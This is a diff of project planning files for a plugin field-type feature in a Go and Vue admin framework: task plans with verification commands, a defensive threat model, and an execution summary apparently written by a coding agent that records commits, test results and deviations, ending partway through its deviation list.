+  <read_first>modules/cabana/field_type.go (Task 2 state), modules/cabana/field_ml.go, modules/cabana/crud.go (save, ShowRecord, BindWritableFields column binding helpers modelFields and gormColumn), modules/cabana/tx_context.go, modules/cabana/list_schema.go (listColumnTypes at 22, compileColumns at 200), modules/cabana/http.go (projectRow at 1067, the fileupload routes at 335-347, protect at 1030), modules/cabana/field_file.go (fileUpload and fileUploadOn at 684-760: MaxBytesReader, multipart, transaction, scope), modules/cabana/csrf.go (requireAjax), modules/cabana/locale_order_test.go (recordingWriter: fake TranslationWriter style), modules/cabana/admin_openapi.go (file upload annotations near line 1156), modules/cabana/README.md, docs/backend/field-types.md, docs/backend/admin-controllers.md (VirtualFieldsFromContext section: style for the writes accessor)</read_first>
+  <behavior>
+    - Translatable type: a body map {en, pl} with pl default runs Decode once per locale; pl lands on the host column, en goes through TranslationWriter.WriteTranslated; a FormFieldError on en is a 422 on the field and nothing is written.
+    - Notices per locale (D-10): a notice returned for en becomes a FieldNotice with field and locale "en", one for the default locale carries locale "pl"; a non-translatable type's notices carry no locale; a FormFieldError on any locale answers 422 with no notices.
+    - Untouched (D-03): on update, a submitted per-locale value equal to the served value (Load of the stored value) is neither decoded nor written and yields no notice; on create nothing is skipped.
+    - FieldWritesFromContext inside FormBeforeUpdate and FormAfterUpdate lists exactly the written (field, locale) values with Default set for the host value; it returns false outside a save.
+    - A list column typed "notes" shows ListValue(value); without ListValue the raw value is kept.
+    - Upload route: 201 {data:{url}} from Upload; 404 for a core-typed field or a type without Upload; 403 without the controller permission; missing X-Requested-With refused by requireAjax; over the cap 413; FormFieldError 422 on the field; id 0 passes Record nil.
+  </behavior>
+  <action>Extend Task 2's runner (per D-03, D-06, D-10, D-12.4, D-14, D-18).
+
+Translatable types (D-14, D-06): add isMLField(field FormField) bool = mlFieldType(field.Type) or a plugin type with Translatable; switch the field loops in liftMLValues and hydrateMLRecord to it, so a translatable plugin field is lifted (locale to string map, default required, enabled locales only) and hydrated exactly like mlmarkdown. decodePluginFields then handles translatable fields per locale: the default-locale value is decoded into projected[field]; non-default values are decoded and replace the matching entries of the translations list that applyMLTranslations writes. Every locale's notices are kept with that locale (FieldNotice.Locale), the default locale included. A translatable Decode's FormFieldDecoded.Value must be a string; any other result type is an opaque 500. FormFieldValue.Translated is a closure over TranslationWriter.TranslatedExact(ctx, tx, record, attribute, locale) for the same record and locale (nil without a writer). hydratePluginFields applies Load per locale to the hydrated map.
+
+Untouched skip (D-03 server half, RESEARCH Pattern 3): new servedFieldValue computes what Show serves for a field and locale on the loaded target (host value read through the same column binding BindWritableFields uses, pointers dereferenced; non-default from TranslatedExact, missing = ""), then Load. On update, decodePluginFields compares the submitted value with the served value by canonical encoding/json bytes and skips equal ones entirely (not in projected, not in translations). On create nothing is skipped.
+
+Written values (Pitfall 7): tx_context.go gains FieldWrite, withFieldWrites (unexported), WithFieldWrites (exported, documented for Form hook tests) and FieldWritesFromContext (returns a copy; false outside a create or update), mirroring withVirtualFields/VirtualFieldsFromContext. save puts the writes on the context right after decodePluginFields, before formBeforeUpdate/formBeforeCreate, so Before and After hooks both see them.
+
+List (D-12.4): compileColumns accepts a plugin alias as a column type (listColumnTypes stays the core set); ListColumn gets an unexported fieldType; projectRow returns ListValue(value) for such a column when ListValue is non-nil.
+
+Upload route (D-18, RESEARCH Pattern 9): new modules/cabana/field_type_upload.go with fieldUpload mounted as g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload)) plus constrainFile-style Where constraints, next to the file routes (7 segments; distinct from .../files/{field}/reorder and .../relations/{name}/link by the literal segment). Inside s.protect: the field must exist in cc.Form with a plugin type whose Upload is non-nil, else 404 not_found; the field's context must allow create when id is 0 and update otherwise, else 404; the body is capped with http.MaxBytesReader(w, r.Body, s.uploadBytes); exactly one multipart part named file, else 422 invalid on the field; for id != 0 the record loads through loadRecord (FormExtendQuery scope) in a transaction, a miss is 404; Upload gets FormFieldUpload{DB, Record (nil for id 0), Field, Options, Filename, Body}; a FormFieldError is 422 validation_failed on the field; any other error an opaque 500; success 201 {"data":{"url":...}} (FieldUploadResponse). Annotate the route in admin_openapi.go, add "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" to phase09Routes, run bash scripts/check-admin-openapi.sh and add the FieldUploadResponse alias to admin/src/api/types.ts.
+
+Tests: TestFieldTypeExpansionSmoke in field_type_smoke_test.go (no database; a recording TranslationWriter in the locale_order_test.go style; a translatable fake type "notesml"; the upload route through httptest with id 0 and a principal context as the existing route tests build it) covering every behavior bullet above.
+
+Docs: cabana README rows for FieldWrite, FieldWritesFromContext, WithFieldWrites and the upload route, and a note that settings and relation forms refuse plugin field types; docs/backend/field-types.md sections "Translatable types", "Untouched values", "Notices" (FormFieldDecoded notices, per-locale FieldNotice, localization, the 10-per-field and 500-rune caps, no key without notices), "Companion columns in Form hooks" (with FieldWritesFromContext) and "Uploads"; neutral names only. Commit as feat(cabana) with the README, docs and OpenAPI files, staged by explicit path.</action>
+  <verify>
+    <automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
+    <fails_when>Non-zero exit: vet fails, or fewer than six top-level "--- PASS: Test" lines (the expansion smoke fails or is missing, or an existing route, permission, relation-search or locale-order smoke regressed).</fails_when>
+    <automated>bash scripts/check-admin-openapi.sh --check &amp;&amp; npm --prefix admin run typecheck &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
+    <fails_when>Non-zero exit: the committed OpenAPI or schema.d.ts is stale, the SPA no longer type-checks against the regenerated types, or TestDocsTree reports a missing identifier, link or anchor.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "func FieldWritesFromContext" modules/cabana/tx_context.go` and `grep -n "func WithFieldWrites" modules/cabana/tx_context.go` each print one line.
+    - `grep -n 'fields/{field}/upload' modules/cabana/http.go modules/cabana/security_coverage_test.go modules/cabana/admin_openapi.go` prints at least one line per file.
+    - TestFieldTypeExpansionSmoke has passing subtests for: per-locale Decode with default on the host and non-default through the writer, per-locale notices with their locale, a non-default FormFieldError 422 with no write and no notices, untouched skip on update for host and translation (no notice), no skip on create, the writes accessor in Before and After hooks, ListValue in projectRow, and the upload route answers 201, 404 (core field), 403 (no permission), 413 (over the cap) and 422 (FormFieldError).
+    - The OpenAPI check, typecheck and TestDocsTree pass.
+  </acceptance_criteria>
+  <done>Translatable plugin types store through the existing ML path with per-locale notices, untouched values are never written, hooks can see what was written, list columns format through the type, and the upload route is mounted, documented and permissioned.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 4: Expansion (SPA): MLPluginField, element uploads through the SPA, plugin list columns, save notices, docs and dist</name>
+  <files>admin/src/components/form/fields/MLPluginField.vue, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/FormGrid.vue, admin/src/components/form/FormField.vue, admin/src/views/FormView.vue, admin/src/views/ListView.vue, admin/src/components/relation/RelationChildModal.vue, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, admin/tests/form/formState.test.ts, modules/boardwalk/dist, docs/backend/field-types.md</files>
+  <read_first>admin/src/components/form/fields/PluginField.vue (Task 2 state), admin/src/components/form/fields/MLField.vue, admin/src/components/form/fields/MLMarkdownField.vue, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts (isMLFieldType callers at 68, 139, 187, 228-233), admin/src/views/FormView.vue (isMLFieldType at 180 and 252, adopt at 173, save at 315, the saved toast at 337), admin/src/components/form/FormGrid.vue (errors per field at 47), admin/src/components/form/FormField.vue (errors prop, error line, aria-describedby), admin/src/main.css (.summer-callout--warning near line 400), admin/src/components/relation/RelationChildModal.vue (isMLFieldType at 221), admin/src/views/ListView.vue (column cell rendering), admin/src/api/files.ts (multipart upload with X-Requested-With and failure kinds), admin/src/api/client.ts, admin/tests/form/MLFields.test.ts, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, docs/backend/field-types.md</read_first>
+  <behavior>
+    - A field with element and translatable renders MLPluginField: the locale switcher of MLField around PluginField; the element gets the active content locale in its locale attribute and that locale's string as value; summer-change updates only that locale in the map.
+    - isMLField(field) is true for mltext, mltextarea, mlmarkdown and for a field with element and translatable; formState initial values, editable payload, adopt and record display name treat such a field as a locale map.
+    - summer-upload {id, file} posts multipart to the field upload route with the form's vendor, plugin, controller, record id (0 on create) and field name, then dispatches summer-upload-result {id, url} on success and {id, error} with the server message on 422, 413 or a network failure.
+    - A list column whose type is not built in renders its value as plain text.
+    - Notices (D-10): a save answer with meta.notices shows each message under its field (prefixed with the upper-case locale for a translatable field) as a warning status line, and the saved toast appends the messages; the lines clear on the next save attempt; a save answer without notices shows none and the toast text is unchanged; a notice that looks like HTML renders as literal text.
+    - After a save whose stored value differs from what the element holds (a type stripped something), the form value equals the response's value and PluginField sets the element's value property once to it.
+  </behavior>
+  <action>Finish the SPA half (per D-06, D-10, D-13, D-14, D-18).
+
+ML (D-14): new MLPluginField.vue in the MLMarkdownField.vue shape: MLField with :inner="PluginField", inner-type = field.type and ml-type = field.type; PluginField accepts an optional content-locale prop that MLField's inner rendering supplies and writes it to the locale attribute. mlLocale.ts gains isMLField(field) (keep isMLFieldType exported unchanged); switch the callers in formState.ts, FormView.vue and RelationChildModal.vue to the field-based check. rendererForField returns MLPluginField for a translatable plugin field; groupLabelled is true for it.
+
+Uploads (D-18): formContext.ts adds FIELD_UPLOAD_EVENT = 'summer-upload' and FIELD_UPLOAD_RESULT_EVENT = 'summer-upload-result'. PluginField listens for summer-upload, posts the File as the single multipart part "file" to /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload with the same session and X-Requested-With handling api/files.ts uses (path values from the control props, record id 0 on create), and dispatches summer-upload-result on the element with {id, url} or {id, error} (the 422 message, or a localized generic failure for 413 and network errors). The SPA never hands the element a token or a function.
+
+Lists (D-12.4): make ListView render a column whose type has no built-in renderer as plain text of the row value (the server already sent the ListValue string), if it does not already.
+
+Notices (D-10, generic for any field type): formState.ts exports noticeLines(notices) returning a field name to message list map, where a notice with a locale reads "<LOCALE>: message". FormView keeps a notices ref, clears it when a save starts, and after a successful create or update sets it from result.data.meta.notices (absent means none); it passes it through FormGrid to FormField the same way it passes errors. FormField gains an optional notices prop rendered under the control as a status line in the existing warning callout tone (summer-callout--warning, role="status", referenced by aria-describedby), with text interpolation only, never as raw HTML. The saved toast appends the joined notice messages, so "Zapisz i zamknij", which navigates away, still tells the admin. adopt(result.data) already reloads the stored values; keep PluginField's echo rule, so the element gets the stored value exactly when it differs from element.value.
+
+Tests: extend admin/tests/form/PluginField.test.ts with the ML wrapper (two locales, locale attribute, per-locale change), the upload round trip (mocked fetch: success, 422 message, network failure), the reload of a changed stored value, and isMLField on the formState helpers; FormField.test.ts with the notice line (literal text for an HTML-looking message, aria-describedby, none without notices); formState.test.ts with noticeLines (locale prefix, no locale, empty).
+
+Docs and dist: docs/backend/field-types.md gains the full element contract (value, attributes, summer-change, summer-upload, summer-upload-result, the echo rule, --c-* only, no credentials), the translatable variant and how the admin shows notices; rebuild with npm --prefix admin run build and commit modules/boardwalk/dist with the SPA change as feat(admin), staged by explicit path.</action>
+  <verify>
+    <automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree</automated>
+    <fails_when>Non-zero exit: a type error, any vitest file failing (including MLFields, FormView, ListView and the extended PluginField tests), check-admin-dist printing "modules/boardwalk/dist is stale", or TestDocsTree reporting a missing identifier or anchor.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "export function isMLField" admin/src/components/form/mlLocale.ts` prints one line, and FormView.vue, formState.ts and RelationChildModal.vue call isMLField.
+    - `grep -n "export function noticeLines" admin/src/components/form/formState.ts` prints one line, `grep -n "meta.notices\|meta?.notices" admin/src/views/FormView.vue` prints at least one line, and `grep -n "v-html" admin/src/components/form/FormField.vue` prints nothing.
+    - PluginField.test.ts passes its ML, upload (success, 422, network), stored-value reload and isMLField cases; FormField.test.ts and formState.test.ts pass their notice cases; the full vitest suite passes.
+    - docs/backend/field-types.md documents summer-change, summer-upload, summer-upload-result and notices.
+    - check-admin-dist passes with the rebuilt dist committed.
+  </acceptance_criteria>
+  <done>Translatable plugin fields switch locales like mlmarkdown, elements upload through the SPA without credentials, plugin list columns render, save notices show under the field and in the toast, and the docs describe the full contract.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| admin browser → cabana admin API | save bodies, upload bodies and field-type requests cross here (cookie or Bearer session) |
+| plugin Go code → cabana | Decode, Load, ListValue and Upload run inside cabana's handlers and transaction |
+| plugin element JS → admin SPA DOM | the element runs in the admin origin under CSP script-src 'self' |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-01 | Spoofing | compileFieldTypes alias registry | high | mitigate | Boot fails when an alias equals a core type or another plugin's alias, naming both owners; element tags must carry the owning plugin's prefix (checkWidgetTag) |
+| T-16.2-02 | Tampering (stored XSS) | decodePluginFields | high | mitigate | Decode runs for the host value and for every non-default locale inside the save transaction; there is no write path for a plugin field that skips Decode except the equal-to-served skip, which by definition writes nothing |
+| T-16.2-03 | Elevation of Privilege | fieldUpload route | high | mitigate | Backend guard, requireAjax (X-Requested-With) with the SameSite=Strict cookie, controller RequiredPermissions via protect, field context check, FormExtendQuery record scope for id != 0, 404 for fields without a plugin Upload |
+| T-16.2-04 | Denial of Service | fieldUpload body | medium | mitigate | http.MaxBytesReader with http.body_limits.upload_bytes (413), exactly one multipart part |
+| T-16.2-05 | Information Disclosure | PluginField / element | high | mitigate | The element receives only the value property and plain attributes; uploads are performed by the SPA; no token, cookie, function or Vue instance is ever passed (test asserts attributes only) |
+| T-16.2-06 | Tampering | typeOptions to element | low | mitigate | Options reach the element only as a JSON attribute string; the SPA never renders them as HTML |
+| T-16.2-07 | Information Disclosure | plugin errors | medium | mitigate | Only pact.FormFieldError messages (422) and FormFieldNotice messages (meta.notices) reach the client; any other Decode, Load or Upload error is an opaque 500 through lifecycleFailure |
+| T-16.2-08 | Tampering | untouched skip | low | accept | An attacker who submits the served value only causes no write; the skip cannot store anything that Decode did not already accept |
+| T-16.2-33 | Tampering (admin XSS) / Denial of Service | save notices (localizeNotices, FormField notice line) | medium | mitigate | A notice can quote attacker-written markup (for example a removed tag name); the SPA renders notices with text interpolation only, never v-html (acceptance grep and an HTML-looking-message test); cabana keeps at most 10 notices per field and locale and cuts each localized message to 500 runes, so a value with thousands of removed parts cannot inflate the response |
+| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed by this plan: Go has no new dependency and the admin SPA builds from its committed lockfile |
+</threat_model>
+
+<verification>
+- Task 1: baseline contract and schema tests pass and a human approved the API.
+- Task 2: TestFieldTypeTracerSmoke and the regression set pass; PluginField vitest, OpenAPI check, dist check and TestDocsTree pass.
+- Task 3: TestFieldTypeExpansionSmoke and the regression set pass; OpenAPI check, typecheck, TestDocsTree pass.
+- Task 4: full admin vitest suite, dist check and TestDocsTree pass.
+- Postgres-backed save, show and upload tests with a real record are written in plan 06 and run on a Docker host.
+</verification>
+
+<success_criteria>
+- D-11 to D-15 implemented in pact, cabana and the SPA with fail-loud boot checks.
+- D-03 server skip, D-10 notices (meta.notices only when a Decode reported something, shown under the field and in the toast, stored value reloaded) and refusal mapping, D-06/D-14 storage through the existing ML path, D-18 upload route in place.
+- OpenAPI, TS types, dist, READMEs and docs updated in the same changes; no framework doc names a consuming application.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md` when done, with the Task 1 reply, the final identifier list, commit hashes, and the smoke test results.
+</output>

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md

@@ -0,0 +1,264 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 01
+subsystem: admin
+tags: [pact, cabana, admin-spa, field-types, custom-elements, i18n, uploads, openapi]
+
+requires:
+  - phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+    provides: bluemonday-era Journal plugin and the v0.1.17 framework release this API builds on
+provides:
+  - pact plugin field type API (HasFormFieldTypes, FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError)
+  - cabana per-boot field type registry, compile checks, Decode/Load/ListValue runner, translatable storage through the ML path, untouched skip, meta.notices
+  - cabana FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldTypeAssets, FieldTypesResponse, FieldUploadResponse, FieldNotice, RecordMeta.Notices
+  - routes GET {api}/field-types and POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload
+  - admin SPA global field type loader, PluginField and MLPluginField element hosts, element uploads, save notices
+affects: [16.2-02, 16.2-03, 16.2-05, 16.2-06, journal, payment]
+
+actuals:
+  tokens: 62800
+  tasks: 4
+  commits: 5
+plan_head_before: 0754a6e5ab88b1a4ad3b6fc3599a338490220077
+plan_head_after: 4adb48a76e5bd81f589385d22fc82a5c55dcb3e7
+
+tech-stack:
+  added: []
+  patterns:
+    - "Plugin capability registry built per Activate (compileFieldTypes) and passed down the compile functions; no package-level registry"
+    - "Untouched-value skip by canonical encoding/json comparison against the served value (Load of the stored value)"
+    - "Global plugin stylesheets owned by GLOBAL_STYLE_OWNER, never disabled by activateStyles"
+
+key-files:
+  created:
+    - modules/cabana/field_type.go
+    - modules/cabana/field_type_upload.go
+    - modules/cabana/field_type_smoke_test.go
+    - modules/cabana/example_field_type_test.go
+    - admin/src/app/fieldTypes.ts
+    - admin/src/components/form/fields/PluginField.vue
+    - admin/src/components/form/fields/MLPluginField.vue
+    - admin/tests/form/PluginField.test.ts
+    - docs/backend/field-types.md
+  modified:
+    - modules/pact/capabilities.go
+    - modules/pact/README.md
+    - modules/cabana/form_schema.go
+    - modules/cabana/schema_types.go
+    - modules/cabana/registry.go
+    - modules/cabana/contracts.go
+    - modules/cabana/http.go
+    - modules/cabana/crud.go
+    - modules/cabana/field_ml.go
+    - modules/cabana/tx_context.go
+    - modules/cabana/list_schema.go
+    - modules/cabana/query.go
+    - modules/cabana/settings.go
+    - modules/cabana/relation.go
+    - modules/cabana/relation_form.go
+    - modules/cabana/relation_field.go
+    - modules/cabana/extension.go
+    - modules/cabana/admin_openapi.go
+    - modules/cabana/security_coverage_test.go
+    - modules/cabana/phase10_coverage_test.go
+    - modules/cabana/phase10_csrf_test.go
+    - modules/cabana/README.md
+    - admin/openapi/admin.json
+    - admin/src/api/schema.d.ts
+    - admin/src/api/types.ts
+    - admin/src/app/pluginAssets.ts
+    - admin/src/main.ts
+    - admin/src/views/LoginView.vue
+    - admin/src/views/FormView.vue
+    - admin/src/components/form/registry.ts
+    - admin/src/components/form/FieldRenderer.vue
+    - admin/src/components/form/PreviewField.vue
+    - admin/src/components/form/FormField.vue
+    - admin/src/components/form/FormGrid.vue
+    - admin/src/components/form/formState.ts
+    - admin/src/components/form/formContext.ts
+    - admin/src/components/form/mlLocale.ts
+    - admin/src/components/form/fields/MLField.vue
+    - admin/src/components/relation/RelationChildModal.vue
+    - admin/tests/form/FormField.test.ts
+    - admin/tests/form/formState.test.ts
+    - admin/tests/list/CellValue.test.ts
+    - modules/boardwalk/dist
+    - docs/backend/forms.md
+    - docs/backend/lists-and-filters.md
+
+key-decisions:
+  - "pact.FormFieldType.ListValue is func(ctx context.Context, value any) string (human adjust at the Task 1 checkpoint); plans 03, 05 and 06 must use the ctx form"
+  - "The plugin field type registry is built per Activate by compileFieldTypes and passed down; CompileForm, compileRegistry, compileList, compileRelations and compileSetting keep their signatures as nil-registry wrappers"
+  - "Only a pact.FormFieldError from Decode or Upload is a 422 (messages localized); every other plugin error, Load errors included, is the opaque lifecycle 500"
+  - "Untouched values (D-03 server half) are skipped on update when the canonical encoding/json of the submitted value equals the served value (stored host value or exact translation, then Load)"
+  - "FieldTypesResponse is the GET /field-types envelope {data, meta}; FieldUploadResponse is the upload data object {url}, served as Envelope[FieldUploadResponse]"
+
+patterns-established:
+  - "Plugin field type: alias + element + assets + options + Go funcs; cabana owns routes, permissions, scope, locale storage, notices and the untouched skip"
+  - "Element contract: value property, plain attributes, summer-change, summer-upload/summer-upload-result; no credentials, --c-* only"
+
+requirements-completed: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
+
+coverage:
+  - id: D1
+    description: "pact field type API and cabana boot checks: alias collisions (two plugins, core type), element prefix, unknown keys, CheckOptions errors, settings/relation refusal"
+    requirement: D-11
+    verification:
+      - kind: unit
+        ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Save decodes plugin values (FormFieldError 422, opaque 500 otherwise), meta.notices only when a type reported something, Show/save serve through Load, GET /field-types and form schema keys"
+    requirement: D-12
+    verification:
+      - kind: unit
+        ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeTracerSmoke"
+        status: pass
+      - kind: unit
+        ref: "modules/cabana/example_field_type_test.go#ExampleCompileFormWithTypes"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Translatable types per locale through the ML path, per-locale notices, untouched skip on update, FieldWritesFromContext in Form hooks, ListValue list columns, upload route (201, 404, 403, CSRF, 413, 422)"
+    requirement: D-14
+    verification:
+      - kind: unit
+        ref: "modules/cabana/field_type_smoke_test.go#TestFieldTypeExpansionSmoke"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Admin SPA: global field type loader, PluginField/MLPluginField, element uploads, save notices under fields and in the toast, stored value reload, plugin list columns as text"
+    requirement: D-13
+    verification:
+      - kind: unit
+        ref: "admin/tests/form/PluginField.test.ts"
+        status: pass
+      - kind: unit
+        ref: "admin/tests/form/FormField.test.ts#save notices"
+        status: pass
+      - kind: unit
+        ref: "admin/tests/form/formState.test.ts#noticeLines"
+        status: pass
+      - kind: unit
+        ref: "admin/tests/list/CellValue.test.ts#plugin field type columns (16.2)"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "OpenAPI, schema.d.ts, dist, READMEs and docs/backend/field-types.md describe the API with neutral names"
+    requirement: D-15
+    verification:
+      - kind: other
+        ref: "bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test ./cmd/summer -run TestDocsTree"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Postgres-backed save, show and upload with a real record (id != 0 upload path, real transaction, real translation writer)"
+    verification: []
+    human_judgment: true
+    rationale: "No Docker on this host (RESEARCH Pitfall 11); plan 06 runs these on a Docker host"
+
+duration: 34min
+completed: 2026-10-10
+status: complete
+---
+
+# Phase 16.2 Plan 01: Plugin field type framework Summary
+
+**Plugins register value-bearing admin field types through pact.HasFormFieldTypes; cabana compiles, decodes (with localized meta.notices), loads, lists, uploads and stores them (translatable ones through the ML path, untouched values skipped), and the admin SPA hosts their custom elements globally with uploads and save notices.**
+
+## Performance
+
+- **Duration:** 34 min
+- **Started:** 2026-10-10T08:53:13Z
+- **Completed:** 2026-10-10T09:27:00Z
+- **Tasks:** 4 (Task 1 checkpoint resolved by the orchestrator, Tasks 2-4 executed)
+- **Files modified:** 51 (excluding the rebuilt dist assets)
+
+## Task 1 checkpoint (resolved)
+
+Baseline verify was run by the orchestrator (vet passed, 4 PASS lines, clean `git status --porcelain -- modules admin docs scripts`). Human reply, verbatim:
+
+> adjust: ListValue(ctx context.Context, value any) string
+
+Final identifier list used by Tasks 2-4: every pact and cabana identifier exactly as in the plan's `<interfaces>` block, except `pact.FormFieldType.ListValue` is `func(ctx context.Context, value any) string` (was `func(value any) string`). The element contract is unchanged (value property; attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload, summer-upload-result).
+
+**Note for plans 03, 05 and 06:** they refer to `ListValue` and must use the ctx form; plan 03's Journal `ListValue` implementation receives `ctx`.
+
+## Accomplishments
+
+- pact: `FormFieldType` (Name, Element, Translatable, Scripts, Styles, Options, CheckOptions, Decode, Load, ListValue with ctx, Upload), `FormFieldValue`, `FormFieldDecoded`, `FormFieldNotice`, `FormFieldUpload`, `FormFieldUploadResult`, `FormFieldError`, `HasFormFieldTypes`.
+- cabana boot: `compileFieldTypes` (alias shape, core-type and cross-plugin collisions naming both plugins, element prefix via `checkWidgetTag`, Decode required, option keys, assets through the extracted `readClientAssets`), passed to `compileRegistryWithTypes`; fields.yaml accepts a plugin alias with the general keys plus its options (`typeOptions`, `element`, `translatable` in the schema); `CheckOptions` at boot; settings and relation forms refuse plugin aliases; `CompileFormWithTypes`.
+- cabana save/show: `liftPluginValues`, `decodePluginFields` inside the transaction (per locale for translatable types, untouched skip on update via `servedFieldValue`), `localizeNotices` into `RecordMeta.Notices` (`meta.notices`, max 10 per field and locale, 500 runes), `hydratePluginFields` (per locale), `FieldWritesFromContext` for Form hooks, `isMLField` routing translatable types through `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord`.
+- cabana list and routes: plugin aliases as column types with `ListValue` in `projectRowCtx`; `GET /field-types`; `POST .../{id}/fields/{field}/upload` (`fieldUpload`), annotated, in `phase09Routes`, CSRF inventories updated.
+- SPA: `loadFieldTypes` after boot and login, `loadGlobalStyles`/`GLOBAL_STYLE_OWNER`, `PluginField` (value/attributes/summer-change/echo rule/uploads), `MLPluginField`, `rendererForField`/`isRegisteredField`/`isMLField`, `noticeLines` with the notice status line in `FormField` and the saved toast, rebuilt `modules/boardwalk/dist`.
+- Docs: pact and cabana READMEs, new `docs/backend/field-types.md` (registration, aliases, options, Decode/notices/refusal, Load, notices, translatable types, untouched values, companion columns, list columns, uploads, full element contract), links from forms.md and lists-and-filters.md.
+
+## Task Commits
+
+1. **Task 1: Confirm the pact API** - resolved by the orchestrator (no commit)
+2. **Task 2: Tracer** - `1e20ace` (feat, pact), `717d46e` (feat, cabana + docs + OpenAPI), `83fa2f7` (feat, admin SPA + dist)
+3. **Task 3: Go expansion** - `8fa92db` (feat)
+4. **Task 4: SPA expansion** - `4adb48a` (feat)
+
+## Smoke test results
+
+- `go vet ./...` clean; `TestFieldTypeTracerSmoke` (15 subtests), `TestFieldTypeExpansionSmoke` (14 subtests), `TestPhase09ContractInventory`, `TestPhase09PermissionMatrix`, `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestListRelationSearchSmoke`, `TestEnabledLocalesDefaultFirstSmoke`, `TestPhase10CSRF`, `ExampleCompileFormWithTypes` pass.
+- `go test ./...`: the only failures are the testcontainers suites that need Docker (permission denied on /var/run/docker.sock), the same set as before this plan; no non-Docker failure message.
+- Admin: `npm run typecheck` clean, full vitest suite 77 files / 1190 tests pass, `check-admin-openapi.sh --check`, `check-admin-dist.sh`, `TestDocsTree` and `summer docs:build --check` pass.
+- Neutral names: `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing.
+
+## Decisions Made
+
+See key-decisions in the frontmatter. In short: ListValue takes ctx (human), the registry is passed down per boot with nil-registry wrappers for existing callers, only `pact.FormFieldError` is a 422, untouched detection compares canonical JSON with the served value, and the two response types are an envelope (`FieldTypesResponse`) and a data object (`FieldUploadResponse`).
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Route inventories outside the plan's file list**
+- **Found during:** Task 3
+- **Issue:** `TestPhase10CSRF` (counts 29 state-changing routes) and `TestPhase10Coverage/every unsafe mounted route is CSRF-walked` failed once the upload route was mounted.
+- **Fix:** Added the route to both inventories (29 -> 30).
+- **Files modified:** modules/cabana/phase10_csrf_test.go, modules/cabana/phase10_coverage_test.go
+- **Commit:** 8fa92db
+
+**2. [Rule 3 - Blocking] Docs Go snippets need src= references**
+- **Found during:** Task 2
+- **Issue:** TestDocsTree refuses a Go code block without `src=`.
+- **Fix:** Added `modules/cabana/example_field_type_test.go` (`NotesPlugin.FormFieldTypes`, `ExampleCompileFormWithTypes` with output) and referenced it from docs/backend/field-types.md (synced with `summer docs:sync`).
+- **Commit:** 717d46e
+
+**3. [Rule 2 - Correctness] Strict error mapping for plugin code**
+- **Found during:** Task 2
+- **Issue:** `lifecycleFailure` passes a plugin-returned `ValidationError` or `ForbiddenError` through; the plan allows only `pact.FormFieldError` to reach the client.
+- **Fix:** `fieldTypeFailure` maps only `*pact.FormFieldError` (messages localized) to 422; every other Decode/Upload error and every Load error is logged and becomes the opaque lifecycle 500.
+- **Commit:** 717d46e
+
+**4. Additional files touched for threading the registry and list values**
+- modules/cabana/contracts.go (`Registry.fieldTypes`), modules/cabana/relation.go (`compileRelationsWithTypes`), modules/cabana/query.go (`projectRowCtx` with the request ctx for `ListValue`), docs/backend/lists-and-filters.md (plugin column types), admin/tests/list/CellValue.test.ts. `admin/src/views/ListView.vue` needed no change: `CellValue` already renders a column type it does not know as plain text.
+
+**5. [CLAUDE.md] TDD commit shape**
